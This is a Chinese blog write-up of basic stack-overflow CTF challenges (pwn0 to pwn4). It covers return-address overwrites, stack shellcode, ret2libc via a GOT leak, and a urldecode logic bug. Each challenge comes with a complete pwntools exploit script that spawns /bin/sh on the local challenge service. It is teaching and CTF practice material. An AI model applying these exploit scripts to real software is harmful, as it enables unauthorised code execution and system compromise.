内容字号:默认大号超大号

段落设置:段首缩进取消段首缩进

字体设置:切换到微软雅黑切换到宋体

PWN学习总结之基础栈溢出

2016-11-18 16:29 出处:清屏网 人气: 评论(0

总结下内部CTF平台中的栈溢出PWN

0x0 前言

前置技能: 32/64位汇编

把这篇博文的题目都丢一个docker里了, dockerfile丢到github了: https://github.com/Hcamael/docker_lib/tree/master/pwn

进入到pwn目录中, build一个新镜像:

$ cd pwn
$ docker build -t ubuntu:stack1 .
$ docker run --name stack1 -it -d -P ubuntu:stack1

然后使用

docker port stack1

查看每题开放的端口

0x1 PWN0

描述: 题目就一个pwn0的二进制文件, 这题是一个栈溢出的演示demo, 了解如何通过栈溢出控制EIP

我做二进制的步骤一般都是先用binwalk, 查看二进制文件

$ binwalk pwn0
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             ELF, 32-bit LSB executable, Intel 80386, version 1 (SYSV)
1746          0x6D2           Unix path: /home/pwn/pwn0/flag

从binwalk中得知这是一个32位的二进制文件, 然后丢到32位的IDA中

简单来看可以直接用F5, 也可以直接看汇编, 锻炼一下自己.

很容易能找到一个 getFlag 函数

只要能调用该函数, 那么就可以得到flag

还有两个函数 foomain

代码很简单, 正常情况下是不可能调用到 getFlag 函数的, 这时候就需要想其他方法.

foo 函数中, 调用 gets 函数之前的汇编, 我们能得到如下的栈结构:

gets 函数得到的输入存在 eax 指向的地址, 因为 gets 函数没有限制输入的长度, 如果获取输入的字符串大于0x1c byte, 则会覆盖到 ebp 以下的栈数据, ret 表示函数执行结束后的返回地址, 如果 foo 函数执行结束, eip 就会跳向这个地址, 所以我们可以通过把 ret 的值改为 getFlag 函数的地址, 调用 getFlag 函数.

通过gdb进行调试, 可以很容易理解该原理.

当输入 32 * 'a' + 'b' * 4 时:

payload0.py

#!/usr/bin/env python
#-*- coding:utf-8 -*-
 
from pwn import *
 
conn = remote('127.0.0.1', 10001)
pwn_elf = ELF('pwn0')
print conn.recvline()
payload = "a" * 0x1c + "a" * 4             # 0x1c长度的buf + 4 byte的ebp
payload += p32(pwn_elf.symbols['getFlag']) # 覆盖ret
conn.sendline(payload)
print conn.recv()
print conn.recv()

不过这是下一题的解法, 在 foo 函数中不是还有一个条件语句调用 getFlag 函数么, 只要让该判断成立, 就好了, 上面的理解了, 现在说的这种方法就一目了然了, 用于判断的变量a1, 为函数实参, 在栈中位于ret之下, 所以只要输入 (32 + 4 + 4) * 'a' 覆盖该参数, 则可使判断成立

0x2 PWN1

使用上面所说的方法, 控制eip跳转到 getFlag 函数

0x3 PWN2

描述: 古老的栈溢出, 用shellcode就好了

同样是使用binwalk, 判断出是32位程序, 丢到ida中

本题主要是 foo 函数:

ssize_t foo()
{
  char buf; // [sp+Ch] [bp-1Ch]@1

  printf("0x%x\n", &buf);
  return read(0, &buf, 0x100u);
}

从汇编代码中我们能看出 buf 的长度为 0x1c , 但是read函数却可以最大读取 0x100 比特的字符串, 很明显会导致溢出漏洞

这里推荐一个神器: peda

peda为gdb插件

peda有一个checksec命令, 可以检测二进制的保护机制是否开启

$ gdb pwn2
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial

其中NX, 表示堆栈不可执行的保护, 状态为disabled, 表示堆栈不可执行关闭, 也就是说eip可以跳到堆栈地址

这时候我们可以使用shellcode, 啥为shellcode? 比如一段C代码 system('/bin/sh'); , 把其转为汇编再转为二进制形式就是shellcode

我们可以把shellcode储存在 buf 变量中, 然后通过溢出, 控制eip跳转到 buf 的地址, 我们就可以执行shellcode了, 可以想象成是执行 system('/bin/sh');

foo 函数中一开始就输出 buf 变量的地址了, 所以也挺简单的

#!/usr/bin/env python
#-*- coding:utf-8 -*-

from pwn import *

shell_code = shellcraft.i386.sh()    # pwntools生成shellcode的汇编代码
shell_code = asm(shell_code)         # 把汇编代码进行汇编生成二进制
conn = remote('127.0.0.1', 10003)
addr = conn.recvline()
add = int(addr[2:],16)               # 获取buf地址
shellcode_add = p32(add + 32 + 4)    # 计算出shellcode地址, 然后转换成二进制字符串
v = 32*"a" + shellcode_add + shell_code  # 0x1c的buf + 4 byte的ebp + 4 byte的shellcode地址 + shellcode
conn.send(v+"\n")
conn.interactive()

0x4 PWN3

描述: 如果服务开了NX, 应该怎么拿shell呢?

该题给了一个二进制文件和该二进制文件依赖的libc库

使用binwalk, 可知是32位程序, 使用checksec, 可知开启了NX保护, 表示堆栈不可执行, 所以无法像上一题一样控制eip跳到栈地址了.

先丢ida

跟上一题差不多的代码, 同样buf大小为 0x1c

所以通过溢出控制eip很简单, (只要前面的理解清楚了)现在的问题是, 控制了eip后可以干什么? 首先考虑, 做这题我们的目的是啥, 原题是flag位于 /home/pwn/pwn3/flag 路径下, 要读取该文件就需要能执行shell命令, 我复现的环境里没放进flag, 所以最终目是能getshell就好了.

我们的目的是getshell, 那么只要能执行 system('/bin/sh') 类似的命令就能达成我们的目的, 执行类似命令我们还缺少一个条件, system 函数的地址, 如果我们能获取到该地址, 那么很容易就能getshell了, 只要发送 32 * 'a' + system_addr + ret_address + '/bin/sh'

首先是发送32 byte的padding把0x1c的buf和4 byte的ebp给填满, 然后是system_addr地址覆盖ret的地址, 控制eip跳转到system_addr地址, 然后就是system函数执行结束后的放回地址, 然后是system函数的参数 /bin/sh

所以现在我们的问题就是, 如何获取system函数地址, 在pwn3的二进制文件中, 无法找到system函数

C语言写的程序, 在正常情况下, 程序都会加载一个叫libc的动态链接库, 在代码中你不需要 #include 外部库就能调用的函数, 比如 write , read , system , 这些函数就来自这个libc库, 使用 ldd 可以查看一个二进制文件的动态链接库的情况

$ ldd pwn3
	linux-gate.so.1 =>  (0xf77f7000)
	libc.so.6 => /lib32/libc.so.6 (0xf7623000)
	/lib/ld-linux.so.2 (0x5662b000)

在运行pwn3的时候libc库也会被动态的加载到内存中去, libc中含有system函数, 所以内存中也会有system函数, 所以现在的问题是如何去寻找内存中system函数的地址

这时候涉及到另一个知识点, 在一个二进制文件中, 有一个plt表和一个got表的东西, 你的程序调用的函数除了自己写的函数外, 都会出现在这两个表中, 你可以想象成是外部调用函数表.

仔细看汇编代码你会发现, 外部函数的调用都是call该函数plt表的地址, 涉及到这样一种机制:

第一次call write -> write_plt -> 系统初始化去获取write在内存中的地址 -> 写到write_got -> write_plt变成jmp *write_got

还要能理解一种关系:

write_addr - system_addr == write_addr_libc - system_addr_libc

也就是, system函数和其他函数地址的差值, 不管是加载到内存中还是在libc的二进制中, 都是相等的

根据上面这些姿势, 如果我们获取到了 write_got 的值(write函数加载到内存中的地址), 因为我们有libc库, 所以可以很容易去计算system函数和write函数的差值, 用 write_got 地址减去这个差值, 也就是system函数加载到内存中的地址了

payload:

#!/usr/bin/env python
#-*- coding:utf-8 -*-

from pwn import *
context.log_level = "debug"

p = remote("127.0.0.1", 10003)
e = ELF('libc.so.6')
pwn3 = ELF('pwn3')

payload1 =  "a"*32									# 32 byte的padding
payload1 += p32(pwn3.symbols['write'])				# 控制eip跳转到write函数
payload1 += p32(pwn3.symbols['foo'])				# 调用完write后的返回地址
payload1 += p32(1) + p32(pwn3.got['write']) + p32(4)# write函数的三个参数: write(1, write_got, 4) 

p.sendline(payload1)
p.recv()
a = p.recv()

write_addr = u32(a[-4:])		# write 在内存中的值
write_system_addr = e.symbols['write'] - e.symbols['system']  # write函数和sytem函数地址的差值
write_shell_addr = e.symbols['write'] - e.search('/bin/sh').next() # write函数和/bin/sh字符串地址的差值

sys_add = p32(write_addr - write_system_addr)	# 通过差值计算出system函数在内存中的地址
shell_add = p32(write_addr - write_shell_addr)  # 计算出/bin/sh字符串的地址
ret_addr  = '\x12\x12\x12\x12'					# 调用system函数后的返回地址, 这里随便填
payload = "a" * 32 + sys_add + ret_addr + shell_add # 调用system('/bin/sh')
p.sendline(payload)
p.interactive()

0x5 PWN4

描述: 给了一个二进制文件和libc库, CTF中正常情况下低分的PWN题, 因为栈溢出的利用相对比较简单, 所以相关的题分数相对比较低, 正常情况下CTF的pwn题不会像前面那样那么容易就让你发现溢出点

pwn4首先看是32位程序, 然后丢到ida中去, 该程序有两个主要的函数 sub_8048800sub_8048720 :

sub_8048720: 获取输入的函数, 根据 \x0a 来判断是否结尾, 会在输入的字符串结尾加上 \x00 , 没有输入的长度限制, 输入存在堆中, 会根据输入的长度动态扩展堆, 没发现漏洞, 认为无法溢出

sub_8048800: 通过strlen判断输入的字符串长度, 必须大于7小于0x80, 开头7byte必须是 http:// ,初始化了一个0x80大小的栈, 然后是根据是否有%符号, 如果不是%符号, 则把堆上的字符copy到栈上去, 如果遇到%, 则把之后两个byte当成十六进制, 然后转成字符串copy到栈上去, 遇到\x00则结束copy, 比如堆上的数据是 http://%41 , 则copy到栈上之后的结果是 http://A , 其实就是一个urldecode的代码

粗看之下并没有发现有溢出点, 但是仔细分析下, 这两个函数结合起来有一个算是逻辑方面的漏洞吧.

sub_8048720 是根据 \x0a 来判断结尾, 而 strlen 函数是根据 \x00 来判断字符串长度, 也就是说, 我输入 http://\x00aaaaaaaaaaaaaa\x0a , 使用strlen来判断长度, 其长度为7.

但是还有一个问题, sub_8048800 中也是根据 \x00 来判断copy的结尾, 但是却存在一个逻辑漏洞, 如果当前byte是%, 则把后面两byte根据十六进制ascii转成字符, 然后指针向后移两位:

所以说, 如果我的 \x00 藏在%号之后, 就不会遇到copy结束的判断, 从而导致栈溢出

栈溢出证明: 'http://\x00' + 'a'*0x100

然后是本题的payload:

#! /usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

pwn4 = ELF('pwn4')
libc = ELF('libc.so.6')

padding = "http://%\x00" + 'a' * (156 - 9 + 2)    # 加2是因为出现了%, 指针偏移了两位

p = remote("127.0.0.1", 10004)

get_write_addr_payload = padding + p32(pwn4.symbols['puts']) + p32(0x8048590) + p32(pwn4.got['puts']) # puts(puts_got) 然后调回到main函数
p.readuntil('URL: ')
p.sendline(get_write_addr_payload)
p.readuntil("http://\n")
puts_addr = u32(p.recv()[:4])   # puts_got

# 之后就是栈溢出知道libc库的套路, 跟pwn3一样
puts_system_addr = libc.symbols['puts'] - libc.symbols['system']
puts_binsh_addr = libc.symbols['puts'] - libc.search('/bin/sh').next()

system_addr = puts_addr - puts_system_addr
binsh_addr = puts_addr - puts_binsh_addr

get_shell_payload = padding + p32(system_addr) + p32(0x8048590) + p32(binsh_addr)
p.sendline(get_shell_payload)
p.interactive()

分享给小伙伴们:
本文标签: ShellcodeARM汇编

相关文章

发表评论愿您的每句评论,都能给大家的生活添色彩,带来共鸣,带来思索,带来快乐。

CopyRight © 2015-2016 QingPingShan.com , All Rights Reserved.

清屏网 版权所有 豫ICP备15026204号